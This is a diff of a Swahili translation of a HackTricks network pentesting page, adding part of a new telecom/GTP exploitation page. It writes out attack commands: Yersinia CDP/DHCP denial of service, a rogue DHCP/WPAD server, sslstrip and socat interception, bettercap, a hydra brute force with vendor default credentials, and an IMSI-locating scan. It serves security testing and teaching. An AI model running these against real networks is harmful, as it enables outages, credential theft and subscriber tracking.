mfano wake na toleo la Cisco IOS linalotumika. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS. +CDP imewekwa ili kutangaza habari kupitia bandari zote, ambayo inaweza kusababisha hatari ya usalama. Mshambuliaji, anapounganisha kwenye bandari ya swichi, anaweza kutumia waandishi wa mtandao kama **Wireshark**, **tcpdump**, au **Yersinia**. Kitendo hiki kinaweza kufichua data nyeti kuhusu kifaa cha mtandao, ikiwa ni pamoja na mfano wake na toleo la Cisco IOS linalotumia. Mshambuliaji anaweza kisha kulenga udhaifu maalum katika toleo lililotambuliwa la Cisco IOS. -#### Kusababisha Mv flooding wa CDP +#### Kusababisha Mafuriko ya Jedwali la CDP Njia yenye nguvu zaidi inahusisha kuzindua shambulio la Denial of Service (DoS) kwa kujaa kumbukumbu ya swichi, akijifanya kuwa vifaa halali vya CISCO. Hapa chini kuna mfuatano wa amri za kuanzisha shambulio kama hilo kwa kutumia Yersinia, chombo cha mtandao kilichoundwa kwa ajili ya majaribio: ```bash @@ -431,14 +431,14 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana mara nyingi kama **“kufeli kwa mtandao”** kutokana na matumizi makubwa ya rasilimali. +Wakati wa shambulio hili, CPU ya switch na jedwali la majirani wa CDP yanakabiliwa na mzigo mzito, na kusababisha kile kinachojulikana kama **“kukwama kwa mtandao”** kutokana na matumizi makubwa ya rasilimali. #### CDP Impersonation Attack ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` -Unaweza pia kutumia [**scapy**](https://github.com/secdev/scapy/). Hakikisha umeisakinisha na pakiti ya `scapy/contrib`. +You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. ### Mashambulizi ya VoIP na Zana ya VoIP Hopper @@ -459,7 +459,7 @@ Njia inayopendekezwa kwa kasi ni ya tatu. Inahitaji kufafanua: Katika mazingira ya kampuni, ili kuiga kifaa kilichopo cha VoIP, mtu anaweza: -- Kukagua lebo ya MAC kwenye simu. +- Kuangalia lebo ya MAC kwenye simu. - Kupitia mipangilio ya onyesho la simu ili kuona taarifa za mfano. - Kuunganisha kifaa cha VoIP kwenye laptop na kuangalia maombi ya CDP kwa kutumia Wireshark. @@ -467,9 +467,9 @@ Mfano wa amri ya kutekeleza zana katika njia ya tatu ingekuwa: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` -### DHCP Attacks +### DHCP Mashambulizi -#### Enumeration +#### Uhesabu ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -489,23 +489,23 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha kutumia anwani zote za IP zinazowezekana**.\ +**Aina mbili za DoS** zinaweza kufanywa dhidi ya seva za DHCP. Aina ya kwanza inajumuisha **kuiga wenyeji wa uwongo wa kutosha kutumia anwani zote za IP zinazowezekana**.\ Shambulio hili litafanya kazi tu ikiwa unaweza kuona majibu ya seva ya DHCP na kukamilisha itifaki (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Kwa mfano, hii **haiwezekani katika mitandao ya Wifi**. -Njia nyingine ya kufanya DoS ya DHCP ni kutuma **pakiti ya DHCP-RELEASE ikitumia kama msimbo kila anwani ya IP inayowezekana**. Kisha, seva itafikiria kwamba kila mtu amemaliza kutumia IP. +Njia nyingine ya kufanya DoS ya DHCP ni kutuma **pakiti ya DHCP-RELEASE ikitumia kama msimbo kila anwani ya IP inayowezekana**. Kisha, seva itafikiria kwamba kila mtu amemaliza kutumia IP hiyo. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` -Njia ya kiotomatiki zaidi ya kufanya hivi ni kutumia chombo [DHCPing](https://github.com/kamorin/DHCPig) +Njia ya kiotomatiki zaidi ya kufanya hivi ni kutumia zana [DHCPing](https://github.com/kamorin/DHCPig) -Unaweza kutumia mashambulizi ya DoS yaliyotajwa kulazimisha wateja kupata mikataba mipya ndani ya mazingira, na kuchoma seva halali ili ziwe zisijibu. Hivyo wakati halali wanapojaribu kuungana tena, **unaweza kutoa thamani mbaya zilizotajwa katika shambulio linalofuata**. +Unaweza kutumia mashambulizi ya DoS yaliyotajwa kulazimisha wateja kupata leseni mpya ndani ya mazingira, na kuchoma seva halali ili ziwe zisijibu. Hivyo wakati halali wanapojaribu kuungana tena, **unaweza kutoa thamani mbaya zilizotajwa katika shambulio linalofuata**. #### Weka thamani mbaya -Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni chini ya ufanisi kwani inaruhusu tu kukamata trafiki inayotoka kutoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi. +Seva ya DHCP isiyo halali inaweza kuanzishwa kwa kutumia skripti ya DHCP iliyoko katika `/usr/share/responder/DHCP.py`. Hii ni muhimu kwa mashambulizi ya mtandao, kama vile kukamata trafiki ya HTTP na akidi, kwa kuhamasisha trafiki kwa seva mbaya. Hata hivyo, kuweka lango la uasi ni kidogo sana kwa sababu inaruhusu tu kukamata trafiki inayotoka kutoka kwa mteja, ikikosa majibu kutoka kwa lango halisi. Badala yake, kuanzisha seva ya DNS isiyo halali au WPAD inashauriwa kwa shambulio lenye ufanisi zaidi. -Hapa chini kuna chaguo za amri za kuunda seva ya DHCP isiyo halali: +Hapa chini kuna chaguzi za amri za kuunda seva ya DHCP isiyo halali: - **Anuani Yetu ya IP (Tangazo la Lango)**: Tumia `-i 10.0.0.100` kutangaza anuani ya IP ya mashine yako kama lango. - **Jina la Kikoa la DNS la Mitaa**: Kwa hiari, tumia `-d example.org` kuweka jina la kikoa la DNS la mitaa. @@ -515,7 +515,7 @@ Hapa chini kuna chaguo za amri za kuunda seva ya DHCP isiyo halali: - **Netmask ya Mtandao wa Mitaa**: Tumia `-n 255.255.255.0` kufafanua netmask kwa mtandao wa mitaa. - **Kiunganishi kwa Trafiki ya DHCP**: Tumia `-I eth1` kusikiliza trafiki ya DHCP kwenye kiunganishi maalum cha mtandao. - **Anuani ya Mipangilio ya WPAD**: Tumia `-w “http://10.0.0.100/wpad.dat”` kuweka anuani ya mipangilio ya WPAD, kusaidia katika kukamata trafiki ya wavuti. -- **Danganya Anuani ya IP ya Lango la Kawaida**: Jumuisha `-S` kudanganya anuani ya IP ya lango la kawaida. +- **Kudanganya Anuani ya IP ya Lango la Kawaida**: Jumuisha `-S` kudanganya anuani ya IP ya lango la kawaida. - **Jibu kwa Maombi Yote ya DHCP**: Jumuisha `-R` kufanya seva ijibu maombi yote ya DHCP, lakini kuwa makini kwamba hii ni kelele na inaweza kugundulika. Kwa kutumia chaguzi hizi kwa usahihi, seva ya DHCP isiyo halali inaweza kuanzishwa ili kukamata trafiki ya mtandao kwa ufanisi. @@ -523,25 +523,25 @@ Kwa kutumia chaguzi hizi kwa usahihi, seva ya DHCP isiyo halali inaweza kuanzish # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` -### **EAP Attacks** +### **EAP Mashambulizi** -Hapa kuna baadhi ya mbinu za shambulio ambazo zinaweza kutumika dhidi ya utekelezaji wa 802.1X: +Hapa kuna baadhi ya mbinu za mashambulizi ambazo zinaweza kutumika dhidi ya utekelezaji wa 802.1X: - Kusaidia nguvu za siri za nywila kupitia EAP - Kushambulia seva ya RADIUS kwa maudhui ya EAP yaliyovunjika _\*\*_(exploits) - Kukamata ujumbe wa EAP na kuvunja nywila bila mtandao (EAP-MD5 na PEAP) -- Kulazimisha uthibitisho wa EAP-MD5 ili kupita uthibitishaji wa cheti cha TLS -- Kuingiza trafiki mbaya ya mtandao wakati wa kuthibitisha kwa kutumia hub au kitu kinachofanana +- Kulazimisha uthibitisho wa EAP-MD5 ili kupita uthibitisho wa cheti cha TLS +- Kuingiza trafiki mbaya ya mtandao wakati wa kuthibitisha kwa kutumia hub au sawa -Ikiwa mshambuliaji yuko kati ya mwathirika na seva ya uthibitishaji, anaweza kujaribu kudhoofisha (ikiwa ni lazima) itifaki ya uthibitishaji hadi EAP-MD5 na kukamata jaribio la uthibitishaji. Kisha, anaweza kusaidia nguvu hii kwa kutumia: +Ikiwa mshambuliaji yuko kati ya mwathirika na seva ya uthibitisho, anaweza kujaribu kudhoofisha (ikiwa ni lazima) itifaki ya uthibitisho hadi EAP-MD5 na kukamata jaribio la uthibitisho. Kisha, anaweza kusaidia nguvu hii kwa kutumia: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` ### FHRP (GLBP & HSRP) Attacks -**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa upitishaji wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha mantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kusambaza mzigo. +**FHRP** (First Hop Redundancy Protocol) ni darasa la protokali za mtandao zilizoundwa ili **kuunda mfumo wa upitishaji wa ziada wa moto**. Kwa FHRP, route za kimwili zinaweza kuunganishwa kuwa kifaa kimoja cha mantiki, ambacho kinapanua uvumilivu wa makosa na kusaidia kugawa mzigo. -**Injinia wa Cisco Systems wameunda protokali mbili za FHRP, GLBP na HSRP.** +**Injinia wa Cisco Systems wameendeleza protokali mbili za FHRP, GLBP na HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md ### RIP -Toleo tatu za Protokali ya Taarifa za Upitishaji (RIP) zinajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6. +Toleo tatu la Protokali ya Taarifa za Upitishaji (RIP) linajulikana kuwepo: RIP, RIPv2, na RIPng. Datagrams zinatumwa kwa wenzake kupitia bandari 520 kwa kutumia UDP na RIP na RIPv2, wakati datagrams zinatangazwa kwa bandari ya UDP 521 kupitia multicast ya IPv6 na RIPng. Msaada wa uthibitisho wa MD5 ulianzishwa na RIPv2. Kwa upande mwingine, uthibitisho wa asili haujajumuishwa na RIPng; badala yake, kutegemea kunafanywa kwenye vichwa vya IPsec AH na ESP ndani ya IPv6. - **RIP na RIPv2:** Mawasiliano yanafanywa kupitia datagrams za UDP kwenye bandari 520. - **RIPng:** Inatumia bandari ya UDP 521 kwa kutangaza datagrams kupitia multicast ya IPv6. @@ -558,11 +558,11 @@ Kumbuka kwamba RIPv2 inasaidia uthibitisho wa MD5 wakati RIPng haina uthibitisho ### EIGRP Attacks -**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya upitishaji wa dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia upitishaji wa EIGRP na kusababisha **kuharibu meza za upitishaji**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina mgawanyiko katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** ni protokali ya upitishaji wa dynamic. **Ni protokali ya distance-vector.** Ikiwa hakuna **uthibitisho** na usanidi wa interfaces za passiv, **mshambuliaji** anaweza kuingilia kati upitishaji wa EIGRP na kusababisha **kuharibu meza za upitishaji**. Zaidi ya hayo, mtandao wa EIGRP (kwa maneno mengine, mfumo huru) **ni tambarare na haina mgawanyiko katika maeneo yoyote**. Ikiwa **mshambuliaji anaingiza njia**, kuna uwezekano kwamba njia hii itasambaa katika mfumo huru wa EIGRP. Kushambulia mfumo wa EIGRP kunahitaji **kuanzisha jirani na route halali ya EIGRP**, ambayo inafungua uwezekano mwingi, kutoka kwa upelelezi wa msingi hadi sindano mbalimbali. -[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuisambaza kwenye mfumo wa mshambuliaji wako na unaweza kujiweka kama router halali katika eneo la upitishaji. +[**FRRouting**](https://frrouting.org/) inakuwezesha kutekeleza **router ya virtual inayosaidia BGP, OSPF, EIGRP, RIP na protokali nyingine.** Unachohitaji kufanya ni kuikamilisha kwenye mfumo wa mshambuliaji wako na unaweza kuonekana kama router halali katika eneo la upitishaji. {{#ref}} eigrp-attacks.md @@ -572,11 +572,11 @@ eigrp-attacks.md ### OSPF -Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara nyingi hutumika kuhakikisha mawasiliano salama kati ya route**rs. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara funguo hii inapopatikana, inaweza kutumika kuingiza taarifa mpya za upitishaji. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tab _Injection_ na _Connection_ zinatumika, mtawalia. +Katika protokali ya Open Shortest Path First (OSPF) **uthibitisho wa MD5 mara nyingi unatumika kuhakikisha mawasiliano salama kati ya route**. Hata hivyo, kipimo hiki cha usalama kinaweza kuathiriwa kwa kutumia zana kama Loki na John the Ripper. Zana hizi zina uwezo wa kukamata na kuvunja hash za MD5, zikifunua funguo za uthibitisho. Mara funguo hii inapopatikana, inaweza kutumika kuingiza taarifa mpya za upitishaji. Ili kusanidi vigezo vya njia na kuanzisha funguo zilizovunjwa, tabo za _Injection_ na _Connection_ zinatumika, mtawalia. - **Kukamata na Kuvunja Hash za MD5:** Zana kama Loki na John the Ripper zinatumika kwa kusudi hili. -- **Kusanidi Vigezo vya Njia:** Hii inafanywa kupitia tab _Injection_. -- **Kuweka Funguo Iliyovunjwa:** Funguo inasanidiwa chini ya tab _Connection_. +- **Kusanidi Vigezo vya Njia:** Hii inafanywa kupitia tabo ya _Injection_. +- **Kuweka Funguo Iliyovunjwa:** Funguo inasanidiwa chini ya tabo ya _Connection_. ### Other Generic Tools & Sources @@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS ``` ### Local Gateways -Njia nyingi za mifumo na mitandao mara nyingi zipo. Baada ya kujenga orodha ya anwani za MAC ndani ya mtandao wa ndani, tumia _gateway-finder.py_ kutambua mwenyeji wanaounga mkono IPv4 forwarding. +Njia nyingi za mifumo na mitandao mara nyingi zipo. Unapojenga orodha ya anwani za MAC ndani ya mtandao wa ndani, tumia _gateway-finder.py_ kutambua mwenyeji wanaounga mkono IPv4 forwarding. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -635,24 +635,24 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ``` ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na **Linux zero-configuration** zinafanya kazi kwa kutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya. +Kwa ajili ya kutatua mwenyeji wa ndani wakati utafutaji wa DNS haufanikiwi, mifumo ya Microsoft inategemea **Link-Local Multicast Name Resolution (LLMNR)** na **NetBIOS Name Service (NBT-NS)**. Vivyo hivyo, **Apple Bonjour** na **Linux zero-configuration** hutumia **Multicast DNS (mDNS)** kwa ajili ya kugundua mifumo ndani ya mtandao. Kutokana na asili isiyo na uthibitisho ya protokali hizi na uendeshaji wao juu ya UDP, kutangaza ujumbe, zinaweza kutumiwa na washambuliaji wanaolenga kuelekeza watumiaji kwenye huduma mbaya. Unaweza kujifanya kuwa huduma zinazotafutwa na wenyeji kwa kutumia Responder kutuma majibu ya uongo.\ -Soma hapa maelezo zaidi kuhusu [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Soma hapa maelezo zaidi kuhusu [jinsi ya Kujifanya kuwa huduma na Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) Vivinjari kwa kawaida hutumia **Web Proxy Auto-Discovery (WPAD) protocol ili kupata mipangilio ya proxy kiotomatiki**. Hii inahusisha kupata maelezo ya usanidi kutoka kwa seva, hasa kupitia URL kama "http://wpad.example.org/wpad.dat". Kugunduliwa kwa seva hii na wateja kunaweza kutokea kupitia mitindo mbalimbali: - Kupitia **DHCP**, ambapo kugundua kunarahisishwa kwa kutumia nambari maalum ya kuingia 252. -- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililoandikwa _wpad_ ndani ya eneo la ndani. +- Kwa **DNS**, ambayo inahusisha kutafuta jina la mwenyeji lililo na alama _wpad_ ndani ya eneo la ndani. - Kupitia **Microsoft LLMNR na NBT-NS**, ambazo ni mitindo ya akiba inayotumika katika hali ambapo utafutaji wa DNS haufanikiwi. -Chombo cha Responder kinatumia protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nacho. Ili kuingia kwa undani zaidi jinsi huduma zinaweza kujifananisha kwa kutumia Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Chombo cha Responder kinatumia faida ya protokali hii kwa kutenda kama **seva mbaya ya WPAD**. Kinatumia DHCP, DNS, LLMNR, na NBT-NS kuwapotosha wateja kuungana nacho. Ili kuingia kwa undani zaidi kuhusu jinsi huduma zinaweza kujifananisha kwa kutumia Responder [angalia hii](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) -Unaweza kutoa huduma tofauti katika mtandao kujaribu **kudanganya mtumiaji** kuingiza baadhi ya **credentials za maandiko wazi**. **Maelezo zaidi kuhusu shambulio hili katika** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Unaweza kutoa huduma tofauti katika mtandao kujaribu **kudanganya mtumiaji** kuingiza baadhi ya **akidi za maandiko wazi**. **Maelezo zaidi kuhusu shambulio hili katika** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** ### IPv6 Neighbor Spoofing @@ -684,7 +684,7 @@ mitm6 ### sslStrip -Kimsingi, kile ambacho shambulizi hili linafanya ni, ikiwa **mtumiaji** anajaribu **kufikia** ukurasa wa **HTTP** ambao unarejelea toleo la **HTTPS**. **sslStrip** itakuwa na **kiunganishi cha HTTP na** **mteja** na **kiunganishi cha HTTPS na** **server** ili iweze **kunusa** kiunganishi hicho kwa **maandishi wazi**. +Kimsingi, kile ambacho shambulio hili linafanya ni, ikiwa **mtumiaji** anajaribu **kufikia** ukurasa wa **HTTP** ambao unarejelea toleo la **HTTPS**. **sslStrip** itakuwa na **kiunganishi cha HTTP na** **mteja** na **kiunganishi cha HTTPS na** **server** ili iweze **kunusa** kiunganishi hicho kwa **maandishi wazi**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -699,12 +699,12 @@ More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/Bla **tofauti** kati ya **sslStrip+ na dns2proxy** dhidi ya **sslStrip** ni kwamba wat **elekeza** kwa mfano _**www.facebook.com**_ **kwenda** _**wwww.facebook.com**_ (zingatia **ziada** "**w**") na wataweka **anwani ya kikoa hiki kama IP ya mshambuliaji**. Kwa njia hii, **mteja** at **unganishwa** na _**wwww.facebook.com**_ **(mshambuliaji)** lakini nyuma ya pazia **sslstrip+** it **hifadhi** **unganisho halisi** kupitia https na **www.facebook.com**. -**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **hata** itahifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitaweza kudanganywa kufanya **uthibitishaji wa facebook katika HTTP**.\ +**lengo** la mbinu hii ni **kuepuka HSTS** kwa sababu _**wwww**.facebook.com_ **haita**hifadhiwa katika **cache** ya kivinjari, hivyo kivinjari kitawekwa kwenye udanganyifu kufanya **uthibitishaji wa facebook katika HTTP**.\ Zingatia kwamba ili kufanya shambulio hili, mwathirika lazima ajaribu kufikia kwanza [http://www.faceook.com](http://www.faceook.com) na sio https. Hii inaweza kufanywa kwa kubadilisha viungo ndani ya ukurasa wa http. More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata kama ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, zingatia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.** +**sslStrip au sslStrip+ haitumiki tena. Hii ni kwa sababu kuna sheria za HSTS zilizohifadhiwa katika vivinjari, hivyo hata ikiwa ni mara ya kwanza kwa mtumiaji kufikia kikoa "muhimu" atakifikia kupitia HTTPS. Pia, zingatia kwamba sheria zilizohifadhiwa na sheria nyingine zilizoundwa zinaweza kutumia bendera** [**`includeSubdomains`**](https://hstspreload.appspot.com) **hivyo mfano wa** _**wwww.facebook.com**_ **kutoka awali hautafanya kazi tena kwani** _**facebook.com**_ **inatumia HSTS na `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory @@ -729,14 +729,14 @@ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` -#### Sikiliza kwa kutumia cheti na uelekeze kwa wenyeji +#### Sikiliza kwa kutumia cheti na kuelekeza kwa wenyeji ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` -Wakati mwingine, ikiwa mteja anachunguza kwamba CA ni halali, unaweza **kutumikia cheti cha jina la mwenyeji mwingine kilichosainiwa na CA**.\ +Wakati mwingine, ikiwa mteja anathibitisha kwamba CA ni halali, unaweza **kutumikia cheti cha jina la mwenyeji mwingine kilichosainiwa na CA**.\ Jaribio lingine la kuvutia ni kutumikia **cheti cha jina la mwenyeji kilichohitajika lakini kilichojisaini mwenyewe**. -Mambo mengine ya kujaribu ni kujaribu kusaini cheti na cheti halali ambacho si CA halali. Au kutumia funguo halali za umma, kulazimisha kutumia algorithimu kama diffie hellman (moja ambayo haitaji kufichua chochote na funguo halisi za faragha) na wakati mteja anapohitaji kipimo cha funguo halisi za faragha (kama hash) tuma kipimo bandia na kutarajia kwamba mteja hatakagua hili. +Mambo mengine ya kujaribu ni kujaribu kusaini cheti na cheti halali ambacho si CA halali. Au kutumia funguo za umma halali, kulazimisha kutumia algorithimu kama diffie hellman (moja ambayo haitahitaji kufichua chochote na funguo halisi za faragha) na wakati mteja anapohitaji jaribio la funguo halisi za faragha (kama hash) tuma jaribio bandia na tarajia kwamba mteja hataangalia hili. ## Bettercap ```bash @@ -764,11 +764,11 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` -### Maelezo ya Kugundua Kazi +### Active Discovery Notes Kumbuka kwamba wakati pakiti ya UDP inatumwa kwa kifaa ambacho hakina bandari iliyohitajika, ICMP (Port Unreachable) inatumwa. -### **ARP kugundua** +### **ARP discover** Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapaswa kutuma ombi kwa kila anwani ya IP inayowezekana na zile tu zinazotumika zitajibu. @@ -776,7 +776,7 @@ Pakiti za ARP zinatumika kugundua IP zipi zinatumika ndani ya mtandao. PC inapas Bettercap inatuma ombi la MDNS (kila X ms) ikitafuta **\_services\_.dns-sd.\_udp.local** mashine inayoshuhudia pakiti hii kawaida inajibu ombi hili. Kisha, inatafuta tu mashine zinazojibu "services". -**Zana** +**Tools** - Avahi-browser (--all) - Bettercap (net.probe.mdns) @@ -794,13 +794,17 @@ Bettercap inatangaza pakiti za SSDP ikitafuta huduma za kila aina (UDP Port 1900 Bettercap inatangaza pakiti za WSD ikitafuta huduma (UDP Port 3702). -## Marejeo +### Telecom / Mobile-Core (GTP) Exploitation + +{{#ref}} +telecom-network-exploitation.md +{{#endref}} + +## References - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -- **Network Security Assessment: Know Your Network (toleo la 3)** +- **Network Security Assessment: Know Your Network (3rd edition)** - **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md new file mode 100644 index 000000000..fab882a73 --- /dev/null +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -0,0 +1,140 @@ +# Telecom Network Exploitation (GTP / Roaming Environments) + +{{#include ../../banners/hacktricks-training.md}} + +> [!NOTE] +> Protokali za msingi za simu (GPRS Tunnelling Protocol – GTP) mara nyingi hupita kwenye mifumo ya GRX/IPX ya kuhamahama ambayo inaaminika kwa kiasi fulani. Kwa sababu zinatumia UDP bila uthibitisho wowote, **mara nyingi mguu wowote ndani ya mipaka ya telecom unaweza kufikia moja kwa moja ndege za ishara za msingi**. Maelezo yafuatayo yanakusanya mbinu za mashambulizi zilizoshuhudiwa katika mazingira halisi dhidi ya SGSN/GGSN, PGW/SGW na nodi nyingine za EPC. + +## 1. Recon & Initial Access + +### 1.1 Default OSS / NE Accounts +Seti kubwa ya ajabu ya vipengele vya mtandao wa wauzaji huja na watumiaji wa SSH/Telnet waliowekwa kwa nguvu kama `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Orodha maalum ya maneno huongeza kwa kiasi kikubwa mafanikio ya brute-force: +```bash +hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt +``` +Ikiwa kifaa kinatoa tu VRF ya usimamizi, pitisha kupitia mwenyeji wa jump kwanza (tazama sehemu «SGSN Emu Tunnel» hapa chini). + +### 1.2 Ugunduzi wa Mwenyeji ndani ya GRX/IPX +Watoa huduma wengi wa GRX bado wanaruhusu **ICMP echo** kupitia msingi. Changanya `masscan` na uchunguzi wa `gtpv1` UDP uliojengwa ndani ili haraka kuchora wasikilizaji wa GTP-C: +```bash +masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 +``` +## 2. Kuorodhesha Wajibu – `cordscan` + +Zana ifuatayo ya Go inatengeneza **GTP-C Create PDP Context Request** pakiti na kurekodi majibu. Kila jibu linafunua **SGSN / MME** inayohudumia IMSI iliyoulizwa na, wakati mwingine, PLMN iliyotembelewa na mteja. +```bash +# Build +GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan + +# Usage (typical): +./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap +``` +Key flags: +- 